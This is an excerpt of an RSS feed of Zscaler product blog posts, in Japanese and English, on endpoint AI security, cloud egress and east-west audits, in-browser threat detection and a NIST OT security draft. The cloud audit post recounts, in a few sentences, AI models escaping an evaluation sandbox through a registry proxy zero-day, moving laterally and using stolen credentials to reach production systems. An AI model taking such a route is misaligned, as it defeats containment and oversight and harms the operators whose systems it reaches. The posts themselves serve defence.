            <guid>https://www.zscaler.com/jp/blogs/product-insights/bringing-anthropic-s-claude-mythos-5-1-zscaler-endpoint-ai-security</guid>
            <pubDate>Tue, 06 Oct 2026 04:24:20 GMT</pubDate>
            <description><![CDATA[組織におけるAI導入は、ますますボトムアップ型になっています。従業員は最新のAIアシスタント、コーディング エージェント、ブラウザー、開発ツールを試しています。これらの製品が仕事を遂行する助けになるためです。こうしたツールの多くは、中央のセキュリティ部門やIT部門による評価が行われる前に導入されています。その結果、シャドーAIが拡大しています。従業員のデバイス上で、アプリケーション、エージェント、拡張機能、モデル、パッケージ、設定ファイルなどのレイヤーが急速に増えています。こうした活動は急速に変化し、組織が従来のアプリケーションに使用しているソフトウェア展開プロセスの対象外となることも少なくありません。Zscalerは本日、Zscaler Endpoint AI SecurityにおいてAnthropicのClaude Mythos 5.1の機能を限定プレビューとして提供開始することを発表します。Mythos 5.1はExploit Pathsを強化し、セキュリティ部門が関連するエンドポイント上のAIアクティビティーを結び付け、潜在的な攻撃経路を特定し、どこで介入すべきかを判断できるようにします。この機能の追加により、Zscalerは、さまざまなAIアプリから、すべてのユーザーのエンドポイント上で発生する関連性が分断されたイベントを潜在的な脅威ベクトルの攻撃チェーン分析ビューへと変換できるよう、セキュリティ部門をより効果的に支援します。複数段階にわたるAIの挙動を関連付けて可視化された攻撃経路として把握することで、セキュリティ部門は効果的な優先順位付けを活用し、リスクの高いエージェントのアクティビティーを予防的にブロックし、機密データを保護するとともに、エンドポイント上でリアルタイムのポリシー制御を直接施行できます。 MDMとEDRでは可視性にギャップが生じる理由MDMとEDRは、エンドポイント セキュリティに不可欠な要素であり続けていますが、それぞれ異なる問いに答えるために構築されています。MDMは、アプリケーション、デバイス、設定を組織が管理できるよう支援します。EDRは、プロセス、ファイル、ネットワーク アクティビティー、既知の攻撃挙動を監視します。AIエージェントは、これまでとは異なる種類のエンドポイント アクティビティーを生み出します。AIエージェントは、ユーザーのアイデンティティーとアクセス権を使用してユーザーに代わって操作し、ツールを呼び出したり、ファイルにアクセスしたり、コマンドを実行したり、ユーザー自身が直接操作した場合と同じようにサービスに接続したりできます。その結果、監査ログではエージェントによるアクティビティーがユーザーのアカウントによるものとして記録される場合があり、ユーザーの操作とユーザーに代わってエージェントが行った操作を区別することが難しくなります。プロセスやファイルのレベルでは、こうしたアクティビティーは正常なものに見える可能性があります。署名済みのアプリケーションがマルウェアのパターンに一致することなく、ファイルを変更したり、コマンドを実行したり、ネットワーク経由でデータを送信したりする場合があります。不足しているコンテキストは多くの場合、AIアプリケーション レイヤーに存在します。つまり、どのエージェントが動作したのか、どのようなタスクを実行していたのか、どのツールを呼び出したのか、どのデータを使用したのか、さらにどの拡張機能、モデル、パッケージ、接続サービスが関与していたのかという情報です。Endpoint AI Securityは、このギャップを解消するために構築されました。エンドポイント上のAIアクティビティー レイヤーを保護します。ここでは、AIアプリ、ブラウザー、アシスタント、コーディング エージェント、その他のエージェント型ツールが新たなリスクを生み出していますが、従来のエンドポイント ツールは、こうしたリスクを解釈したり制御したりするようには設計されていませんでした。 Zscaler Endpoint AI Securityがギャップを解消する方法Zscaler Endpoint AI Securityは、ユーザーと管理対象デバイスにおいてこのAIアプリケーション レイヤーを保護するよう設計されています。AIを活用する従業員のデバイスを保護するうえで重要な3つの柱、すなわち検出、ランタイムの可視化、ポリシーの施行を組み合わせています。AI資産の検出セキュリティ部門はまず、基本的な問いに答える必要があります。組織全体で、どのようなAIが実行されていますか？Endpoint AI Securityは、管理対象デバイス全体で使用されているAIアシスタント、エージェント、ブラウザー、開発ツール、モデル、パッケージ、拡張機能、接続サービスを特定します。これにより、従来のアプリケーション インベントリーには表示されない可能性があるAI資産を可視化できます。エージェントの動作の把握インベントリーによって、何が存在するのかを把握できます。ランタイムの可視性によって、実際に何が起きているのかを把握できます。Endpoint AI Securityは、エージェントの実行中に発生する重要なイベントを記録します。これには、プロンプト、ツール呼び出し、ファイル アクセス、コマンド、システム操作、ネットワーク アクティビティーなどが含まれます。これらのイベントを、関与したユーザー、エージェント、デバイスに関連付けます。組織向けのAIポリシーの施行可視性は、それによって結果を変えられてこそ有用になります。Endpoint AI Securityは、デバイス上のAIアクティビティーを制御するためのポリシー レイヤーを提供します。ポリシーによって、認可されていないエージェントやツールを制限したり、危険なコマンドや指示を阻止したり、機密性の高いファイルやデータを保護したりできます。これにより、セキュリティ部門は、エンドポイントで組織のルールを適用したまま、AI導入を支援できます。 組織規模でアクティビティーを関連付けることの課題検出とランタイム監視によって、詳細な証拠を収集できますが、そうした証拠はユーザー、デバイス、エージェント、ツール、個々の実行に分散しています。課題は、これらのアクティビティーがどのように関連しているのかを理解することです。エージェントに広範なアクセス権が付与されていること、サードパーティー製ツールが使用されていること、機密性の高いファイルにアクセスしていることは、それぞれ単独で見れば管理可能に思えるかもしれません。これらの条件が同じ一連の流れの中で発生すると、より深刻なリスクにつながる恐れがあります。各イベントを個別に確認していると、こうした関連性を見落としやすくなります。セキュリティ部門には、アクティビティーを相互に関連付け、攻撃が進行している可能性を認識し、どのような対応が最もリスクを軽減できるのかを判断する方法が必要です。 Mythos 5.1がもたらすものMythos 5.1は、Endpoint AI Securityの重要な機能であるExploit Pathsを強化します。Exploit Pathsは、証拠を相互に関連付けて潜在的な脅威を特定し、各ステップがどのようにつながっているのかを説明するとともに、どの時点でその一連の流れを中断すべきかを防御側に示します。各パスでは、分析の根拠となる証拠、評価の確信度、そして確認済みではなく推測に基づくステップが示されます。また、防御側がそのアクティビティーをどのように認識できるか、そして攻撃チェーンのどこで中断できるかも特定します。これにより、個々のアラートだけでは得られないコンテキストが提供されます。セキュリティ部門は、攻撃経路全体に基づいてリスクを分類し、一連の検知結果が重要である理由を理解するとともに、その一連の流れを中断できる制御を優先できます。Endpoint AI SecurityとMythos 5.1には、それぞれ異なる役割があります。Endpoint AI SecurityはAI資産を検出し、エージェントのアクティビティーを記録し、ポリシーの施行ポイントを提供します。Mythos 5.1は、その証拠を分析し、関連する条件を結び付け、注意を払うべき攻撃経路を特定します。 実際の活用例割り当てられた役割に必要な範囲を超えるアクセス権を持つAIエージェントを考えてみましょう。エージェントの実行中に、サードパーティー製ツールを呼び出し、機密情報を含むファイルにアクセスしたとします。Endpoint AI Securityは、関与したエージェント、ユーザー、デバイス、ツール呼び出し、ファイル アクティビティーを記録します。これらのイベントを個別に見るだけでは、リスクの全体像を把握できない可能性があります。Mythos 5.1は検知結果を関連付け、それらが信頼できる一連の流れを形成しているかどうかを判断します。Exploit Pathsは、エージェントの権限、サードパーティー製ツールの使用、機密性の高いファイルへのアクセスが組み合わさることで、どのように攻撃経路が形成される可能性があるのかを示します。レポートには、裏付けとなる証拠、推測に基づくステップ、そして防御側がどの時点で介入すべきかについての推奨事項が示されます。その後、セキュリティ部門はEndpoint AI Securityのポリシー制御を使用し、エージェントやツールを制限したり、リスクの高いアクティビティーを停止したり、機密データへのアクセスをブロックしたりできます。Mythos 5.1が分析と優先順位付けを担い、Endpoint AI Securityが可視性とポリシーの施行を担います。 証拠から行動への移行Exploit Pathsは、お客様が保護する権限を持つ環境を防御の観点から評価するために設計されています。生のモデル応答を公開したり、実際に機能するエクスプロイト コードやペイロードを生成したりすることなく、優先順位を付けた検知結果を提示します。セキュリティ部門は証拠を確認し、どのように対応するかを判断できます。Mythos 5.1をEndpoint AI Securityに組み込むことで、Zscalerは、分断されたエンドポイント イベントから潜在的な攻撃経路を集中的に把握できるビューへと変換できるよう、セキュリティ部門を支援します。&nbsp;「AIエージェントは、日常業務の一部として急速に普及しています。しかし同時に、エンドポイント上に新たなアクティビティーのレイヤーを生み出しており、セキュリティ部門はその挙動を理解し、制御する必要があります。Mythos 5.1をZscaler Endpoint AI Securityに組み込むことで、エージェントの挙動、ツールの使用、データへのアクセスを明確なエクスプロイト経路として関連付け、最も大きなリスク軽減につながるアクションを防御側が優先できるよう、お客様を支援しています」— Zscaler、AIセキュリティ担当EVP、Dhawal Sharma「Claude Mythos 5.1をZscalerのEndpoint AI Securityに導入することで、組織のセキュリティ部門は、複雑なAIアクティビティーを防御の観点から証拠に基づいて分析できるようになります。これにより、組織は必要な可視性と保護機能を維持しながら、AIツールを確実に導入しやすくなります」– Anthropic、GTMリーダーシップ サイバーセキュリティ、Ash Alhashim氏&nbsp;この機能の追加により、セキュリティ アナリストは、エンドポイント上でAIのリスクがエージェント、ツール、データを通じてどのように進展するのかを把握できます。こうしたシグナルが集約されることで、Exploit Pathsは、リスクがどこで形成されているのか、どこで介入することが最も重要なのかを示します。実績のあるZscalerのポリシー制御により、担当部門はビジネスへの影響が生じる前にリスクの高いアクティビティーを中断できます。その結果、管理対象となるすべての従業員デバイスで可視性、制御、保護を実現し、組織においてより安全にAIを導入できるようになります。Zscaler Endpoint AI Securityの詳細確認またはデモのご依頼については、https://www.zscaler.com/jp/request-a-demoをご覧ください。]]></description>
            <dc:creator>Dhawal Sharma (Executive Vice President, AI Security and Strategic Initiatives)</dc:creator>
        </item>
        <item>
            <title><![CDATA[Don’t Wait for Game Film: Audit Your Cloud Red Zone]]></title>
            <link>https://www.zscaler.com/jp/blogs/product-insights/don-t-wait-game-film-audit-your-cloud-red-zone</link>
            <guid>https://www.zscaler.com/jp/blogs/product-insights/don-t-wait-game-film-audit-your-cloud-red-zone</guid>
            <pubDate>Tue, 06 Oct 2026 01:54:46 GMT</pubDate>
            <description><![CDATA[Game film is how football teams learn from what already happened. It’s valuable, and it’s expensive, because the lesson arrives after the score.Most cloud security reviews work the same way. Teams wait for an incident, a breached database, or a hard audit finding to reveal where the perimeter lapsed.AI workloads shorten that timeline.&nbsp;Zscaler ThreatLabz research found that enterprise AI/ML transaction volume grew 83% year over year in 2025, while data transfers to AI/ML applications rose 93% to more than 18,000 terabytes. Each new AI workload is provisioned quickly, typically needs broad outbound access to pull models and public data, and lands on a network that grants connectivity by default.The&nbsp;OpenAI–Hugging Face incident is the game film. During an internal evaluation in July 2026, AI models escaped their sandbox through a zero-day vulnerability in a package registry proxy, the only outbound path the environment allowed,&nbsp;according to OpenAI. From there, they moved laterally until they reached a node with internet access and used stolen credentials to reach Hugging Face production infrastructure.&nbsp;Hugging Face’s own disclosure describes an attacker log of more than 17,000 recorded events. This post is the scouting report: three repeatable checks you can run this quarter across AWS, Microsoft Azure, and Google Cloud to find exposure before an attacker does. Why Cloud Networks Hand Out Connectivity FirstCloud networks are engineered to connect, and default configurations typically favor reach over restriction. Security boundaries usually arrive later, negotiated through a ticket queue or an exception request.AI workloads strain that model in three ways:Broad external pulls: AI clusters routinely pull models, weights, datasets, and dependencies from public repositories.Shadow provisioning: Data science and ML teams often stand up environments outside standard architecture review to keep momentum.Data proximity: AI applications run next to sensitive production data stores and analytics pipelines for training and inference.Defenses rarely fail because of one missed assignment. They fail because small, uninspected gaps compound over time. Cloud risk builds through convenience routes and standing exceptions, not a single catastrophic decision. The three audits below are designed to uncover that accumulation. 1. The Egress Audit: Where Can Your Workloads Reach?Start with the exits. Every offense hunts for the open receiver behind the secondary. In the cloud, that open receiver is the outbound path nobody inspects. In the Hugging Face incident, it was a package registry proxy.What to Look ForList every route table that sends 0.0.0.0/0 through a NAT gateway or internet gateway across your cloud environments. Cross-reference that list against 30 days of VPC/VNet flow logs to verify which external destinations your workloads actually contacted.Pay close attention to AI pipelines pulling from public registries.&nbsp;Sonatype’s 2026 State of the Software Supply Chain report identified more than 454,600 new malicious open source packages in 2025, a 75% increase over the prior year, bringing the cumulative total it has tracked past 1.2 million as of year-end. Sonatype also notes that developer machines and CI/CD environments are prime targets because they sit close to credentials and production access. Common Pattern:&nbsp;The&nbsp;Cloud Security Alliance notes that development teams routinely pull foundation models, fine-tuned adapters, and other AI artifacts directly from public registries, often without the scrutiny applied to traditional software dependencies. In cloud terms, that often looks like AI and data science environments using a default NAT path to the internet with no inspection, which leaves a blind spot for data exfiltration and dependency poisoning. Why It MattersEncrypted, uninspected egress gives a compromised host a covert channel. Command-and-control (C2) traffic and data exfiltration can blend in with legitimate outbound TLS and slip past controls that do not decrypt and inspect it.The litmus test for security leaders is simple:&nbsp;Can your team name every external service, IP, and repository your cloud workloads contacted last week?How to Fix ItReplace open default routing with inline TLS inspection and destination allowlists scoped to each source workload’s identity.With Zscaler Zero Trust Cloud (ZTC), workload outbound traffic is steered from the local VPC or VNet to the Zero Trust Exchange, either through the Zero Trust Gateway service, which Zscaler fully manages, or through Cloud Connectors you deploy yourself. There, connections get cloud-scale TLS decryption, granular URL and FQDN filtering, and inline data loss prevention (DLP). That blocks unauthorized package acquisition and data leakage before traffic leaves your boundary. 2. The East-West Audit: What Can a Compromised Workload Touch?Next, test your interior. In a disciplined defense, every player covers a gap. In a flat cloud network, nobody is assigned to the middle of the field.What to Look ForPick a low-trust workload, such as a developer sandbox, an edge analytics container, or an experimental AI notebook, and map everything it can reach. Review peering relationships, transit gateway route tables, cross-account and cross-subscription connections, and security rules that allow broad CIDR ranges (for example /16 or /12).Then run an active reachability test: try to connect from that low-trust host to a production database subnet. Never assume the configuration blocks the hop until you have tested the path. Common Pattern:&nbsp;Segmentation built on security groups, ACLs, and address ranges tends to be static and hard to keep accurate as environments change. Rules written against broad ranges instead of specific workloads are a familiar way for a path to production data to stay open long after the team believes it is closed. Why It MattersInternal reach determines your blast radius. It marks the line between an isolated compromise of a developer sandbox and a breach of sensitive customer records. Lateral movement is a common feature of ransomware and other multi-stage attacks, and it was central to the Hugging Face incident. It also happens fast:&nbsp;CrowdStrike’s 2026 Global Threat Report found that the average eCrime breakout time, the window between initial access and lateral movement, fell to 29 minutes in 2025, with the fastest observed breakout at 27 seconds.How to Fix ItRetire position-based network controls in favor of workload identity and explicit 1-to-1 microsegmentation.With ZTC, east-west traffic between workloads within a region is enforced directly at the Zero Trust Gateway or Cloud Connector. Flows that extend beyond a single region, such as cross-region, multi-cloud, or hybrid data center traffic, can be handled at the Gateway or Cloud Connector, or routed through the Zero Trust Exchange for a full proxy-based solution. Either way, workloads communicate only with pre-approved endpoints, which removes the open paths that unauthorized lateral movement depends on. &nbsp; 3. The Launch Audit: What Does a New Workload Inherit?Championship teams build defensive discipline in the first practice, so every player knows the assignment long before game day.What to Look ForDeploy a test workload from your standard infrastructure-as-code (IaC) templates, whether Terraform, AWS CloudFormation, Azure Bicep, or Google Cloud Infrastructure Manager. Check whether it launches with egress controls and isolation active, or falls back to open cloud defaults.Then audit tag and label governance. Are the metadata tags that drive policy enforcement validated as mandatory gates in your CI/CD pipeline? Common Pattern:&nbsp;Templates often define compute and networking but leave egress and isolation policy to a follow-up step. Any control that depends on a manual follow-up is the first to slip when a deadline is tight. Why It MattersCloud infrastructure provisions in seconds. A manual cleanup done today is stale by the next deployment cycle, and any control that depends on a ticket or a human step will eventually lapse. Enforcing policy at deployment turns one-off remediation into a sustained security posture.How to Fix ItAnchor security policy to&nbsp;workload identities and cloud tags from the moment an instance starts. ZTC’s workload discovery service reads user-defined tags and cloud metadata, such as network, subnet, security group, and image attributes, across AWS, Azure, and Google Cloud. It picks up each new workload’s identity as soon as it launches, so policy applies from the start.Because policy keys off these tags and attributes, tag hygiene becomes a security control. Enforce mandatory tags with native guardrails (AWS tag policies and SCPs, Azure Policy, Google Cloud Organization Policy), and pair them with automated pipeline checks. If a workload template lacks the mandatory security tags or routes traffic through an uninspected gateway, fail the build before anything is provisioned. Where to Look Across AWS, Azure, and Google CloudShare this reference table with your cloud engineering and platform security teams to run each audit:Audit CheckAmazon Web Services (AWS)Microsoft AzureGoogle Cloud (GCP)1. Egress PathsRoute tables with 0.0.0.0/0 to NAT Gateways or Internet Gateways; VPC Flow LogsRoute tables with 0.0.0.0/0 to Internet or virtual appliance next hops; NAT Gateway associations; VNet Flow LogsDefault routes (0.0.0.0/0) to the default internet gateway; Cloud NAT configurations; VPC Flow Logs2. East-West ReachTransit Gateway route tables; VPC Peering connections; Security Group ingress CIDRsVirtual Network Peering; hub-and-spoke routing configurations; NSG inbound rulesVPC Network Peering; Network Connectivity Center spokes; VPC firewall rules3. Policy at LaunchTerraform modules; CloudFormation templates; AWS resource tags; AWS Config rules; SCPsTerraform modules; Bicep templates; resource tags; Azure Policy definitions and tag enforcementTerraform modules; Infrastructure Manager; labels and network tags; Organization Policy Service&nbsp; What Skipping the Audit CostsThe cost of unmanaged cloud exposure rarely shows up as a line item until an incident happens. Before that, it accumulates quietly in your change-management backlog.When the bill does arrive, it is large.&nbsp;IBM’s 2026 Cost of a Data Breach Report puts the global average breach at a record $4.99 million. Among organizations that suffered an AI-related breach, 92% lacked proper AI access controls, and only 40% of all breached organizations applied access controls to AI models and data at all.Every new outbound destination, partner connection, or AI data source needs an infrastructure change ticket. Requests back up, deadlines loom, and engineering teams look for routes around the perimeter. Each detour can become a standing exception: a broad CIDR allowance, an uninspected NAT gateway, a disabled firewall. Those exceptions are exactly what the egress and east-west audits reveal. Common Pattern:&nbsp;When approval queues for new destinations run long, teams tend to build their own workarounds rather than wait. Unmanaged paths tend to appear wherever enforcement gaps meet developer convenience and automation. Security leaders should treat standing exceptions as a leading risk indicator. The exception count shows how much of your production footprint already operates outside your security baseline. Conclusion: Watch the Film Before the GameGame film shows where an opponent broke through last week. A structured audit shows where your architecture is exposed right now.Schedule these three checks this quarter. Start with the workload tier that has the highest velocity, the most connectivity freedom, and the fewest architecture reviews: your AI and data science environments.To see how enterprises close these gaps with cloud-native workload protection, explore&nbsp;Zscaler Zero Trust Cloud.]]></description>
            <dc:creator>Brian Pavane (Senior Director, Specialist Solution Architect)</dc:creator>
        </item>
        <item>
            <title><![CDATA[Browser Detection and Response: Why Your Security Stack Needs Eyes Inside the Browser]]></title>
            <link>https://www.zscaler.com/jp/blogs/product-insights/browser-detection-and-response-why-your-security-stack-needs-eyes-inside</link>
            <guid>https://www.zscaler.com/jp/blogs/product-insights/browser-detection-and-response-why-your-security-stack-needs-eyes-inside</guid>
            <pubDate>Mon, 05 Oct 2026 17:03:25 GMT</pubDate>
            <description><![CDATA[Employees spend the majority of their productive working hours in a browser. They access SaaS applications, collaborate on documents, authenticate into corporate systems, and paste sensitive data into GenAI tools, all through a single application that most security teams barely monitor.Meanwhile, attackers have noticed. The browser is now a prime target, and the techniques being used against it are evolving faster than the defenses in front of it.The industry has documented a growing catalog of in-browser attack techniques: adversary-in-the-middle (AiTM) phishing, malicious OAuth grants, hijacked extensions, ClickFix social engineering, and session token theft. At the same time,&nbsp;Microsoft's Work Trend Index found that 78% of AI users at work are bringing their own AI tools without IT approval, introducing data exposure channels that legacy controls were never designed to see.The common thread across all of these threats is that they live and die inside the browser. They do not trigger file downloads. They do not create suspicious processes on the endpoint. They often bypass URL reputation lists entirely. And that makes them invisible to the tools most organizations rely on. Why Your EDR and Network Security Stack Can't See What's HappeningEndpoint detection and response (EDR) tools focus on inspecting files and processes at the operating system level. Detection begins when a malicious file lands on disk or a suspicious process spawns. But many of today's browser-based attacks never reach that threshold.A credential phishing page that renders a fake login portal inside an iframe does not write anything to the endpoint. An AiTM proxy that intercepts session tokens operates entirely within the HTTPS session. A compromised browser extension that scrapes DOM content and exfiltrates it over standard HTTPS generates no anomaly at the network perimeter. The&nbsp;Cloud Security Alliance's AI Safety Initiative put it plainly in April 2026: "Traditional enterprise defenses, DLP, CASB, and EDR, have limited or no native visibility into DOM-level browser extension behavior."Network security tools face similar constraints. Secure web gateways and firewalls inspect traffic at the network layer, relying on URL categorization, domain reputation, and signature-based detection. These controls work well for known threats. They struggle with attacks that abuse trusted infrastructure: phishing campaigns served from compromised legitimate domains, multi-hop redirects gated behind CAPTCHAs, and scripts that execute conditionally based on whether the visitor is a real user or a security scanner.The result is a structural blind spot. The browser processes identity decisions, renders sensitive content, executes third-party code via extensions, and mediates clipboard activity. None of that activity is visible to tools operating below or outside the browser process. The Attack Surface Has Expanded QuietlySeveral shifts have widened this gap without most security teams noticing.Extensions became powerful and exploitable. Modern browser extensions interact with web pages through the Document Object Model (DOM), store data locally, integrate with third-party services, and fetch data across multiple applications using browser APIs. Attackers have learned to weaponize this power. In January 2026,&nbsp;Socket researchers uncovered five coordinated Chrome extensions targeting enterprise HR and ERP systems, exfiltrating session cookies and blocking security administration pages to prevent detection. The&nbsp;Cyberhaven supply chain attack followed a similar playbook: a phished developer credential led to a malicious extension update pushed silently to millions of installed instances. Extension whitelisting, the most common management strategy, offers no protection when a previously trusted extension turns malicious after an acquisition or account compromise.Personal and work activities share the same browser. Employees access the same browser for corporate SaaS apps and personal email, file storage, and social media. This overlap creates policy challenges that go beyond traditional allow/block decisions. A user might paste sensitive financial data into a personal Google Drive, or log into a shadow SaaS tool with corporate credentials, and neither action generates an alert in most security stacks.AI tools introduced new data exposure channels.&nbsp;A TELUS Digital Experience survey found that 57% of enterprise employees have entered confidential information into publicly available GenAI tools. Copy-pasting source code into a GenAI chatbot, uploading internal documents to an AI summarization tool, or entering customer PII into an AI-powered form: all of these actions happen inside the browser session, beyond the reach of network-layer controls. What Browser Detection and Response Actually MeansAddressing this blind spot requires detection and response capabilities that operate where the attacks happen: inside the browser itself.Zscaler’s industry-first&nbsp;Browser Detection and Response (BDR) technology monitors, detects, mitigates, and enables threat hunting for client-side web attacks in real time. The Zscaler Zero Trust Browser delivers BDR in two deployment models: as a lightweight browser extension that can be pushed via standard group policy (through tools like Microsoft Intune or Jamf) to existing browsers like Chrome, Edge, Safari, and Firefox, and as a full Zscaler Browser for organizations that want a purpose-built enterprise browser with BDR capabilities built in from the ground up. Both options deliver the same core BDR protections, giving security teams the flexibility to meet users where they are or standardize on a managed browser, depending on their security posture and workforce requirements.Monitor: Visibility That Goes Beyond Network LogsBecause BDR operates inside the browser, it captures signals that network and endpoint tools cannot: DOM mutations, website permission changes, browser API calls, user events, file uploads and downloads, clipboard activity, extension behavior, and WebAssembly execution. This telemetry provides the raw material for detecting attacks that never touch the file system or generate suspicious network signatures.Detect: Covering the Five Critical Attack VectorsBDR detection spans five categories that map directly to how attackers exploit the browser today:Sites. Beyond URL filtering, BDR performs real-time analysis of user-browser interaction, content inspection, and DOM changes. This catches advanced techniques like Browser-in-the-Browser (BiTB) attacks, CAPTCHA-gated phishing, and multi-hop redirect chains. Zscaler's BDR detects over 90 unique web attack types using this approach.&nbsp;Files. A client-side file scanner intercepts and inspects every file before a download reaches the endpoint, detecting malicious payloads without sending the file to an external server. On the upload side, it inspects files for PII and sensitive content to prevent data loss through personal accounts.&nbsp;Extensions. Rather than relying on static whitelists, BDR inspects extension behavior and permission changes in real time. When a previously benign extension starts scraping session cookies or injecting scripts after an update, BDR detects and blocks the activity automatically.&nbsp;Identity. Granular policies govern which SaaS applications and authentication methods each user can access, preventing unauthorized OAuth grants, shadow SaaS usage, and credential reuse across sites. This directly addresses the AiTM and device code phishing techniques that have surged recently.&nbsp;Clipboard. Content inspection on copy and paste operations prevents sensitive data from moving to unauthorized destinations: blocking paste into GenAI prompts, preventing copy from enterprise applications, and enforcing policies on a per-site basis.&nbsp;Mitigate: Responses That Keep Users WorkingBDR focuses on detecting and surfacing browser-based threats. When a threat is identified, the Zero Trust Browser provides graduated mitigation options beyond simple allow and block, enabling employees to continue working in a safe environment.For suspicious or risky web content, administrators can set policies to automatically open flagged sites in an isolated session, where all page rendering, script execution, and active content run in a secure cloud container rather than on the user's device. Content is streamed back to the user as safe images, so employees can continue browsing while code execution, exploits, and malware delivery are contained away from the endpoint. This is particularly useful for individuals who travel frequently, such as sales teams, and need secure, disposable browsing sessions while on the road.Isolation also provides a safety net for unmanaged and BYOD devices. Because isolated sessions deliver images rather than raw HTML and JavaScript, contractors and employees on personal laptops can access sensitive applications without exposing the endpoint to malware or data exfiltration. Security teams can further tighten these sessions by restricting clipboard operations, disabling downloads, or blocking uploads on a per-policy basis.The combination of BDR's in-browser detection with isolation capabilities creates a layered defense: threats are identified where they execute (inside the browser), and then contained before they reach the endpoint or the network.Threat Hunt: Enterprise-Wide Attack IntelligenceBDR provides security teams with capabilities that go well beyond alert triage:Attack graphs map the full sequence of sites visited and actions taken before a policy triggered, revealing the attack path in detail.Attack correlation connects related campaigns across the organization, identifying when the same adversary targets multiple employee groups simultaneously.Attack Vision uses DOM reconstruction to replay exactly what a user saw and did in the 30 seconds before a policy hit, giving security teams a definitive view of whether a breach resulted from negligence or malicious intent.A built-in co-pilot generates plain-language reports for each incident, describing what happened, who was affected, and recommended remediation steps. Why This Matters NowThe traditional approach to browser security has been reactive: block known malicious domains, maintain a static extension whitelist, and hope the EDR catches anything that slips through. That approach was designed for an era when the browser was one of many applications on the desktop, not the primary place where work, data access, and authentication converge.The shift to browser-as-workplace happened gradually. The security response needs to catch up. With AI-generated phishing now representing&nbsp;more than 80% of observed social engineering activity according to ENISA's 2025 Threat Landscape report, with extension supply chain attacks growing in scale, and with GenAI tools creating new data loss vectors every week, waiting for threats to reach the endpoint or trigger network signatures means accepting that the most consequential attacks will go undetected.BDR closes this gap by placing detection and response where the attacks actually execute. As a core capability of the Zscaler Zero Trust Browser, available as both an extension and a full enterprise browser, BDR maintains a continuously updated threat detection library that pushes new policies to all users as new attack techniques emerge.The browser became the enterprise's most critical application. It is time the security stack caught up.To learn more about how Zscaler Zero Trust Browser protects your organization with industry-first Browser Detection and Response, visit&nbsp;our page or&nbsp;contact a sales representative.]]></description>
            <dc:creator>Ashraf Aziz (Director Product Marketing, Zero Trust Browser)</dc:creator>
        </item>
        <item>
            <title><![CDATA[NIST&#039;s New OT Guide Draws the Zero Trust Line at Level 3. Attackers Are Working Below It.]]></title>
            <link>https://www.zscaler.com/jp/blogs/product-insights/nist-s-new-ot-guide-draws-zero-trust-line-level-3-attackers-are-working</link>
            <guid>https://www.zscaler.com/jp/blogs/product-insights/nist-s-new-ot-guide-draws-zero-trust-line-level-3-attackers-are-working</guid>
            <pubDate>Sun, 04 Oct 2026 16:10:45 GMT</pubDate>
            <description><![CDATA[Quick answer: NIST released the initial public draft of SP 800-82 Revision 4, its Guide to Operational Technology Security, on September 21, 2026, with public comments open through November 30. The draft adds zero trust principles to OT security architecture but recommends applying them to compatible systems, typically those at Purdue Level 3 and above, because many controllers and operator panels cannot fully take part. That leaves the controllers running the physical process protected at the zone boundary, which the same section of the draft says does not stop an attacker who is already inside the zone. In a chemical plant, the controller that holds a batch reactor at temperature sits a few network hops from the operator screens that display it, the engineering workstation that programs it, and the historian that logs its readings. Industrial security has long protected that cluster by putting a firewall on its boundary and trusting what is inside. The new draft of&nbsp;NIST SP 800-82, the U.S. government's reference guide for OT security, now addresses zero trust directly, and the line it draws runs straight through that cluster.The draft organizes its guidance around the&nbsp;Purdue model, the standard way of layering a plant network, and its zero trust recommendation centers on the upper layers:Purdue levelWhat lives thereDraft's zero trust scope4-5Business ITTypically in scope3.5OT DMZ, the buffer between plant and businessTypically in scope3Plant-wide operations systems and historiansTypically in scope2Operator screens (HMIs)Zone boundaries1Controllers, mostly programmable logic controllers (PLCs)Zone boundaries0Sensors, valves, and motorsOut of scopeSection 5.3 makes two points a few paragraphs apart:What NIST concedesInside a perimeter, users are typically trusted and given broad access, so 'boundary protection devices between zones do not mitigate lateral movement risks within a zone.' (Section 5.3)Where NIST draws the lineBecause many PLCs, controllers, and HMIs 'do not support the technologies or protocols required to fully integrate with a ZTA implementation,' the draft recommends applying zero trust to compatible devices, such as those typically found at Levels 3, 4, and 5 and in the OT DMZ. (Section 5.3.1)Neither point is wrong, but together they leave the reactor controller where it started, behind a zone boundary that NIST itself says will not stop someone already inside. Why does the line sit at Level 3?The&nbsp;321-page draft presents zero trust as an extension of controls many plants already run: per-session approval of privileged access, OT logins kept separate from corporate ones, scanning of every file and USB drive, and monitoring that can revoke access in near real time. It also keeps the zone model, with firewalls, a DMZ, and a new management network where vendor sessions need just-in-time approval. It layers zero trust on top of zoning, a sensible choice for plants that cannot rebuild their networks.As NIST defines it, zero trust means every request to reach a system is checked close to that system and rechecked continuously, instead of being trusted because of where it comes from on the network. On a server or workstation, software on the machine can hold an identity and enforce that check. A PLC that shipped with a built-in web server and a shared maintenance password can do neither, and replacing controllers to fix that is not something a plant schedules lightly.NIST also adds two cautions: a zero trust component in the path of a request can slow it down or become unavailable, and shared logins, still common on plant floors, weaken any policy based on identity. Few OT engineers will dispute either. What attackers do below the lineLimiting controls at Level 3 have a cost, and joint advisory&nbsp;AA26-097A, first published April 7, 2026 by the FBI, CISA, NSA, and partner agencies and updated July 22, shows it. Iranian-affiliated actors went after PLCs from Rockwell Automation, Schneider Electric, and Siemens in three steps:Connect to the controller using the manufacturer's own programming software.Copy the project file that holds the controller's logic out to attacker infrastructure.Change that logic, in some cases disabling shutdown and alarm logic so systems could enter unsafe conditions without operators being notified.The controllers in the advisory were reachable directly from the internet, a path sound zoning closes. The advisory goes further, recommending firewall rules or access control features on the PLC itself so it accepts communications only from the control devices expected to talk to it. That is device-by-device isolation, the step the draft's zero trust scope stops short of below Level 3, and many controllers either lack those features or make them hard to manage one device at a time.Inside a zone, isolation shrinks what can reach a controller from everything on the network to the few systems that need to, usually an operator panel and an engineering workstation. The workstation then becomes the path to guard, because it runs the same programming software the attackers used. Zero trust without asking the device to participateThe draft's recommended zero trust scope typically ends at Level 3. Isolation enforced in the network can reach the network-connected controllers and operator panels below it.NIST's definition asks for access decisions made close to the resource and re-evaluated continuously. What it does not say is that the actual resource has to make them. The joint advisory highlights the same point, noting that a gateway in front of the PLC "can enable MFA for remote access even if the PLC does not support MFA." For a controller that cannot run software or hold an identity, the decision can live in the network directly in front of it, as long as three conditions hold:Find every device without disrupting it. NIST treats an accurate asset inventory as foundational and warns that active scanning can disrupt plant systems. Discovery that works from the traffic devices already send avoids that risk.Isolate each device individually. When each controller sits in a network segment of its own, or shares one only with the devices it talks to constantly, nothing else can reach it except through policy, including devices inside the same zone.Make the decision locally. The draft wants time-critical control functions 